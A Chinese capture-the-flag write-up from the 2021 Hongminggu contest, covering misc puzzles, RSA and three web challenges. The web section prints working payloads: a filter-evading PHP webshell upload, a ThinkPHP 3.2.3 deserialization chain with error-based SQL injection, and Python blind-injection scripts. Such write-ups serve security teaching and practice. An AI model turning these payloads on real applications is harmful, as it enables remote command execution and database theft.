『CTF』红明谷杯数据安全大赛 WP
日期:2021-04-06
作者:宸极实验室
介绍:总排名全国第 23 名,还需要继续努力。
小编提醒:关注微信公众号『宸极实验室』,回复 『红明谷杯』,即可获取题目附件。
MISC
0x01 签到
打开以后是选择题,做题即可获取 flag。
flag{7b01fbd9-3d99-49a4-9760-3176e90b0804}
0x02 InputMonitor
题目给出的附件中只有 User
目录下的文件,在用户 link3
桌面中发现 flag.7z
以及 log_data.txt
,从文本中得到提示,结合题目名称,猜测跟输入法有关系。
网上查询资料后找到微软输入法的词库文件,路径 /AppData/Roaming/Microsoft/InputMethod/Chs
,是用词库编辑器可以看到部分文字,但是只有ChsPinyinUDL.dat
读取成功了。
起初根据六个字节爆破一波,无果后目光回到之前加载失败的文件,ChsPinyinIH.dat
读取失败了,提示说越界,结合 Recent
最近访问的文件,推测文件结构被改过,索性直接打开看,注意格式是 Unicode
,在其中发现六位长度的字符串有志者事竟成
,尝试了一下解压成功。
解压后的 PDF,图片底下有段文字,拖动下图片就可以看到。
flag{Y0u_F1nd_h1dd3n_m3g}
0x03 歪比歪比
下载附件,解压,发现是个流量包
改后缀名,Wireshark
打开,追踪一下 TCP
流,拿到了题目中截取的内容,如图。
猜测是二进制转字符,尝试了转 3-56
进制,发现都没出啥东西。
查看了一下 01 的个数,发现是 5212,分解一下质因数,只能是 2*2*1303
,所以猜测不是通过二进制直接转的字符。
放表格里,按照右侧的数字递增排一下顺序,发现有多组重复的数字,并且 {}
对应的是 1,-
对应的是 4。
此时猜测,右侧的数字可能是频率,使用 sum
函数计算了一下和,发现正好是 1000
,和题目中给到的 surprise message len: 1000
相匹配。
结合 右侧的数字是频率 + 数字有重复 + 输出是 01 ,猜测是 哈弗曼树。
此时有了 哈弗曼树 的频率、输出,需要求原文。
网上找了很多脚本,都搞不了。此时想到,既然有了频率,可以输出相同的二叉树,从而得到字符和对应的01编码。
按照给的顺序,写个脚本,直接输出,然后去掉多余的空格。
直接网上找了个在线的网站生成,此处有坑,内容不能包含符号,所以把 {-}
分别用大写字母 ABC 代替,直接生成了二叉树。
人工匹出来,明文和对应的编码,如下
网上找了个在线的解码工具,垃圾网站,解出来的有问题。
手撸了个脚本,GetFlag
得到了最终的 flag
flag{50d477a2-6036-d0a9-9d63-49c2e9e5d1e5}
WEB
0x01 write_shell
题目代码如下:
<?php error_reporting(0); highlight_file(__FILE__); function check($input){ if(preg_match("/'| |_|php|;|~|//^|//+|eval|{|}/i",$input)){ // if(preg_match("/'| |_|=|php/",$input)){ die('hacker!!!'); }else{ return $input; } } function waf($input){ if(is_array($input)){ foreach($input as $key=>$output){ $input[$key] = waf($output); } }else{ $input = check($input); } } $dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; if(!file_exists($dir)){ mkdir($dir); } switch($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'upload': $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data); } ?>
首先,这不是无字母数字webshell
。
恰恰相反,本题对常见的无字母数字webshell
做了过滤。
例如:过滤了异或符号,过滤了取反符号,过滤了下划线等。
并且,对于php
标签,过滤了php
字符。
可通过php
短标签绕过。
<? ?>
谷歌一下,你就知道,最短的webshell
是:
<?=`$_GET[1]`?>
由于过滤了下划线,我们不能用常规的传参,但可以直接执行命令。php
语言中,会将反引号中间的内容,当作shell
语句执行。
例如:
<?=`whoami`?>
payload:
?action=upload&data=<?=`whoami`?>
访问pwd
得到的路径,即可看到结果。
虽然过滤了空格,我们可以通过%09
进行绕过。
?action=upload&data=<?=`ls%09/`?>
可看到flag
文件为php
文件!whatyouwantggggggg401.php
由于过滤了php
字符,可通过*
通配符绕过
?action=upload&data=<?=`cat%09/!whatyouwantggggggg401*`?>
Ctrl+U
即可得到flag
flag{4d3e0093-e9de-4a15-9c09-d97abb5ad8c8}
0x02 easytp
thinkphp3.2.3
版本,简单扫一下目录可得到www.zip
其中./Application/Home/Controller/IndexController.class.php
<?php namespace Home/Controller; use Think/Controller; class IndexController extends Controller { public function index(){ echo(unserialize(base64_decode(file_get_contents('php://input')))); $this->display(); } public function test(){ echo(unserialize(base64_decode(file_get_contents('php://input')))); } }
定义了反序列化方法
例如:
http://XXX/index.php?s=Home/Index/test POST:czo0OiJ0ZXN0Ijs=
谷歌发现了一篇思路一致的文章,https://www.jianshu.com/p/41782991b4b2
根据payload
构建远程fakemysql
成功读取文件
通过读取到/start.sh
#!/bin/sh FLAG_PATH=/var/www/html/tp3.sql FLAG_MODE=M_SQL if [ ${ICQ_FLAG} ];then case $FLAG_MODE in "M_ECHO") echo -n ${ICQ_FLAG} > ${FLAG_PATH} FILE_MODE=755 chmod ${FILE_MODE} ${FLAG_PATH} ;; "M_SED") #sed -i "s/flag{x*}/${ICQ_FLAG}/" ${FLAG_PATH} sed -i -r "s/flag/{.*/}/${ICQ_FLAG}/" ${FLAG_PATH} ;; "M_SQL") sed -i -r "s/flag/{.*/}/${ICQ_FLAG}/" ${FLAG_PATH} mysql -uroot -proot < ${FLAG_PATH} rm -f ${FLAG_PATH} ;; *) ;; esac echo [+] ICQ_FLAG OK unset ICQ_FLAG else echo [!] no ICQ_FLAG fi
发现,flag
在数据库中,mysql
帐号密码均为root
通过payload
连接数据库失败,密码错误
经过尝试后发现,密码为123456
连接后可通过报错注入的方式显示数据
查询可知,存在tp
库,f14g
表
由于用的报错注入函数存在32
位字符限制,查询的时候,通过mid
函数切片
最终payload为:
<?php namespace Think/Db/Driver{ use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件 ); protected $config = array( "debug" => 1, "database" => "mysql", "hostname" => "127.0.0.1", "hostport" => "3306", "charset" => "utf8", "username" => "root", "password" => "123456" ); } } namespace Think/Image/Driver{ use Think/Session/Driver/Memcache; class Imagick{ private $img; public function __construct(){ $this->img = new Memcache(); } } } namespace Think/Session/Driver{ use Think/Model; class Memcache{ protected $handle; public function __construct(){ $this->handle = new Model(); } } } namespace Think{ use Think/Db/Driver/Mysql; class Model{ protected $options = array(); protected $pk; protected $data = array(); protected $db = null; public function __construct(){ $this->db = new Mysql(); $this->options['where'] = ''; $this->pk = 'id'; $this->data[$this->pk] = array( "table" => "mysql.user where extractvalue(1,mid(concat(0x7e, (SELECT * from tp.f14g),0x7e),1,32))#", "where" => "1=1" ); } } } namespace { echo base64_encode(serialize(new Think/Image/Driver/Imagick())); }
flag{c072f84c-df23-4d5e-ab53-96d792515416}
0x03 happysql
题目有注册和登录,疑似二次注入
经过fuzz
过滤了单引号,空格,or
等字符
二次注入失败
在经过一系列失败后,发现可能为盲注
注册admin1
帐号
登录时发现,存在双引号的万能密码
username=admin1"||"&password=1
或者
username=admin1"||1#&password=1
通过对字符的fuzz
,查看笔记,可能唯一适用就是regexp
了
但过滤了^和$
此路不通
username=admin1"||right(user(),1)regexp("t")#&password=1
但是这种是可以的
username=1"||user()/**/regexp/**/user()#&password=1
然后,变形一下
username=1"||left(user(),1)/**/regexp/**/"r"#&password=1
可得
username=1"||left(user(),4)/**/regexp/**/"root"#&password=1
同理可得
username=1"||left(database(),3)/**/regexp/**/"ctf"#&password=1
当前用户是root
,当前数据库是ctf
接下来就是爆表名,脚本如下:
import os import requests url = "http://eci-2zeg9ymisdv0ind1064m.cloudeci1.ichunqiu.com/login.php" s = requests.session() ss = ',{}abcdefghijklmnopqrstuvwxyz0123456789' flag = '' for i in range(1,50): for j in ss: data = { 'username':'1"||left((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/regexp/**/"ctf"),%d)/**/regexp/**/"%s"#'%(i,flag+j), 'password':'1' } res = s.post(url,data).text if 'home' in res: flag += j print(flag) break
得到表名为ctf
和f1ag
最终payload:
username=1"||left((select/**/*/**/from/**/f1ag),1)/**/regexp/**/"f"#&password=1
脚本如下:
import os import requests import string url = "http://eci-2zeg9ymisdv0ind1064m.cloudeci1.ichunqiu.com/login.php" s = requests.session() ss = string.printable ss = ss[0:ss.index('*')] + ss[ss.index('*')+1:] flag = '' for i in range(1,50): for j in ss: data = { 'username':'1"||left((select/**/*/**/from/**/f1ag),%d)/**/regexp/**/"%s"#'%(i,flag+j), 'password':'1' } res = s.post(url,data).text if 'home' in res: flag += j print(flag) break
由于-
被过滤了,所以将.
替换成-
和{}
即可得到flag
flag{a46e8aa1-86c8-47ee-933f-28e36960218c}
Crypto
0x01 RSA attack
看到e=3
,最先想到低加密指数攻击,直接开三次方即可。
flag{w0_x1hu1n_y0u_b5st}
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论